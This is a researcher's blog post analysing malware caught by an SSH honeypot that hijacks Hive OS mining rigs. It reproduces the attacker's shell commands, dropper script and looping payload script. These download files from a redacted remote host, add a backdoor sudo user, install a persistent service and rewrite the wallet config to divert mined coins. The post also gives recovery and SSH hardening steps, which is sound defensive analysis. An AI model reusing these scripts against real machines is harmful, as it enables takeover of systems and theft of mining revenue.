SSH honeypot, deployed in the wild, collecting and sharing data

Sneaky Malware Reconfigures Hive OS Wallet for Profit

8 Jul 2021 • 7 min read

VirusTotal screenshot

Update (11 July 2021, 13:50 UTC): to clarify, the attack described in this article is deployed via weak authentication SSH (i.e. it requires shell access on the mining machine). To reduce the risk of this threat, you should strengthen the security of your Hive OS mining rig(s) by using a strong SSH password. For details on how to change the Hive OS password, jump to the section Hive OS Security towards the end of this article.

Or, even better: disable SSH password authentication completely and use public key authentication instead (see How to Set Up SSH Keys on Ubuntu on DigitalOcean and OpenSSH: Disable Password Authentication on the Ubuntu Community Wiki).

Update (11 July 2021, 12:55 UTC): the attack bash dropper script is now being detected by VirusTotal. Kaspersky marks the file as "Trojan.Shell.Miner.ag":

Screenshot of updated VirusTotal scan
Screenshot of VirusTotal scan, taken on 11 July 2021 at 11:49 UTC

While sifting through my SSH honeypot logs recently, I noticed a suspicious file drop. The file's payload is on trend with other popular cryptomining malware attacks (Insikt Group: 2020 Q3 Malware Trends). However, this particular attack goes after miners running Hive OS: a popular management and monitoring tool for mining rigs.

The attack's modus operandi changes the wallet configuration of Hive OS to ensure the attacker receives all mined coins. Changing the config file back won't stop the attack since the malware regularly updates the file. At the time of writing this blog post, the attack dropper and payload files are not marked as malicious by VirusTotal (see VirusTotal Analysis).

How the attack works

The point of entry, for the attack I observed, is SSH. My SSH honeypot is running on a public network (i.e. WAN), port 22. The attacker authenticates over SSH with the username "user" and the password "1" -- the default Hive OS credentials, as stated on Hive OS's install guide.

Once inside secure shell, the attack changes the Hive OS password to "check" and installs dos2unix (a tool to convert line breaks from DOS format to Unix). The attack then downloads a bash dropper script called "dw" (SHA-256: d95161c141659b1dd164c001ec8b22dde00ce3d34e5c90148aaeb6170326ae25) from a remote directory called "putkite".

Screenshot of Putkite directory contents
Putkite directory contents

The attack's shell payload is:

hive-passwd check;
apt install dos2unix -y;
wget http://[ip redacted]/putkite/dw;
dos2unix dw;
chmod 777 dw;
./dw &;
echo pedal

The bash dropper script (filename dw) starts by changing the Hive OS password (again) to "ql4m1jkur4". It then adds a new Unix user called "h5", adds that user to sudo (privileged group), then downloads the bash payload script (filename a.sh, SHA-256: ba43bcb1edc42175ce9daebbcd69729fbaf54a0f4a6e491df47945be9d7eed81) and service files needed for the attack. Finally, it installs a service called "as" which executes the bash payload script (filename a.sh) and creates a crontab to restart the Hive OS miner every hour.

Contents of the bash dropper script (filename dw):

{
	hive-passwd ql4m1jkur4
	useradd h5; echo -e "p4ch4vr0\np4ch4vr0" | passwd h5; usermod -aG sudo h5
	wget http://[ip redacted]/putkite/a.sh -O /usr/bin/a.sh
	dos2unix /usr/bin/a.sh
	chmod 777 /usr/bin/a.sh
	wget http://[ip redacted]/putkite/as.service -O /lib/systemd/system/as.service
	chmod 777 /lib/systemd/system/as.service
	dos2unix /lib/systemd/system/as.service
	wget http://[ip redacted]/putkite/rc.local -O /etc/rc.local
	dos2unix /etc/rc.local
	chmod 777 /etc/rc.local
	service rc.local restart
	service as restart
	crontab -l | { cat; echo "29 * * * * /hive/bin/miner stop"; } | crontab -
	crontab -l | { cat; echo "30 * * * * /hive/bin/miner start"; } | crontab -
	
} &> /dev/null
if [ $? -eq 0 ]; then
   echo [+]
else
   echo [-]
fi

The malicious service, named "as" (filename a.sh), starts by changing Hive OS's config to run a custom miner called phoenixminer. The malware then overwrites the flight sheet (wallet.conf) with the attacker's ETH or ETC wallet (depending on the existing setup). The malicious service repeats this action every 30 minutes -- so changing Hive OS's wallet config file back won't stop the attack.

Contents of the bash payload script (filename a.sh):

loop=2
while [ $loop -le 10 ]
do
  sed -i -e"s/^MINER=.*/MINER=phoenixminer/" /hive-config/rig.conf
  sed -i -e"s/^MINER2=.*//" /hive-config/rig.conf
  if grep -q \"ETC\" "/hive-config/wallet.conf"; then
    wget http://[ip redacted]/putkite/wallet_etc.conf -O /hive-config/wallet.conf
  else
    if grep -q \"etc\" "/hive-config/wallet.conf"; then
      wget http://[ip redacted]/putkite/wallet_etc.conf -O /hive-config/wallet.conf
    else
      wget http://[ip redacted]/putkite/wallet_eth.conf -O /hive-config/wallet.conf
    fi
  fi
  sed -i -e"s/rig_def/$(cat /proc/sys/kernel/hostname)/" /hive-config/wallet.conf 
  dos2unix /hive-config/wallet.conf
  dos2unix /hive-config/rig.conf
  sleep 30m
  echo loop restarting
done

Okay, so it's not the most sophisticated, or advanced, attack -- but it's interesting to observe these sneaky tactics. Also, as I previously mentioned, the bash dropper script and the bash payload script are both fully undetected in VirusTotal at the time of writing.

How to recover a compromised Hive OS system

If you run a Hive OS rig, make sure your wallet config file (/hive-config/wallet.conf) hasn't been changed (or in the main Hive OS settings). If it has, run the command "service as stop" -- AND remove the files associated with this malware (see below). N.B.: this was the service name I observed on my honeypot. The service name may change in other attacks -- check in the bash dropper file (filename dw) for the correct service name to use.

You'll also want to remove the user that was added in the malicious bash script (filename dw). Now, bear in mind, a different user may be created to the one I observed. I observed a user created called "h5". So, I would remove that user with this command: "userdel h5". But as I said, if your rig has been compromised, check which username was created. Important: if you don't remove this user, the attacker can still log in to your rig and control it again (if it's on a public network and SSH is open).

Once that's done, you can change your Hive OS wallet config file back. N.B.: if you don't stop the malicious service first then it'll keep auto-changing the wallet config file back to the attacker's.

Malware files:

  • /usr/bin/a.sh
  • /lib/systemd/system/as.service
  • /etc/rc.local
  • dw
  • /hive-config/wallet.conf

As I mentioned, these are the files I observed. The attack may change over time and use different filenames. So check the original bash dropper script for the correct filenames.

I originally named this malware "Putkite" (after the directory it came from). But then I ran it through Google Translate.... The malware author could be Bulgarian.

Hive OS Security

The attack described in this article is deployed via weak authentication SSH (i.e. it requires shell access on the mining machine). To reduce the risk of this threat, you should strengthen the security of your Hive OS mining rig(s) by using a strong SSH password. Or, even better: disable SSH password authentication completely and use public key authentication instead (see How to Set Up SSH Keys on Ubuntu on DigitalOcean and OpenSSH: Disable Password Authentication on the Ubuntu Community Wiki).

To change the SSH password on a Hive OS rig:

  1. SSH into your rig. Default credentials: "user:1" (e.g. "ssh user@IP") -- see How to Connect to an SSH Server from Windows, macOS, or Linux on How-To Geek for more info
  2. Change your password by entering the following command into the terminal: "passwd" (be sure to use a strong password -- see: How Do I Create a Strong and Unique Password? on Webroot for more info).

Running a Hive OS rig behind a firewall (i.e. on your private network) will hide the rig from public view. However, a firewall will not stop a weak authentication SSH attack that originates from inside your network. Ultimately, it comes down to risk management; do you fully trust all devices on your internal network? My advice would be to set strong SSH authentication, even on internal network devices.

I've read through Hive OS's (somewhat brief) security guide. One of their recommendations is to change the default SSH port from 22 to another port, like 2222, "because 22 port is scanned a lot". This technique is known as security through obscurity (STO) -- i.e. hiding a service in the hope it won't get discovered. STO is a weak security practice, because scanners can easily detect a port 2222 SSH service. So to be clear: setting a strong password -- or only using public key authentication -- will strengthen security significantly more than changing the default port.

About the author

Simon BellSimon Bell is an award-winning Cyber Security Researcher, Software Engineer, and Web Security Specialist. Simon's research papers have been published internationally, and his findings have featured in Ars Technica, The Hacker News, PC World, among others. He founded Secure Honey, an open-source honeypot and threat intelligence project, in 2013. He has a PhD in Information Security and a BSc in Computer Science.

Follow Simon on Twitter: @SimonByte